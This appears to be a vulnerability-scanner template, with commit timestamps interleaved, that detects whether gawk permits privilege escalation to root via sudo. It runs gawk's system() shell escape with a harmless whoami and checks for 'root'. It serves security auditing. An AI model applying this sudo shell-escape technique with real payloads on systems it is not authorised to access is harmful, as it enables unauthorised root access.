2024-01-22 13:29:57 +00:00
id : privesc-gawk
info :
name : gawk - Privilege Escalation
author : daffainfo
severity : high
description : |
gawk is the GNU implementation of the AWK programming language. It is a powerful text processing tool that allows for pattern scanning and processing of text files. gawk is commonly used for data extraction, reporting, and manipulation tasks in shell scripts and command-line environments.
reference :
- https://gtfobins.github.io/gtfobins/gawk/
metadata :
verified : true
2024-01-29 11:58:34 +00:00
max-request : 3
2024-01-31 17:41:31 +00:00
tags : code,linux,gawk,privesc,local
2024-01-22 13:29:57 +00:00
self-contained : true
code :
- engine :
- sh
- bash
source : |
whoami
- engine :
- sh
- bash
source : |
gawk 'BEGIN {system("whoami")}'
- engine :
- sh
- bash
source : |
sudo gawk 'BEGIN {system("whoami")}'
matchers-condition : and
matchers :
- type : word
part : code_1_response
words :
- "root"
negative : true
- type : dsl
dsl :
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
2024-01-22 16:20:01 +00:00
condition : or
2024-01-31 17:43:39 +00:00
# digest: 4b0a00483046022100c4027738da47964b3c3ed949b3583c0ddc7553f648cf97255cb9529903a8c4f6022100aeec04af6a33ede7e65f9b18a43c832bce2ad79217b73934ae9af56b247aaf50:922c64590222798bb761d5b6d8e72950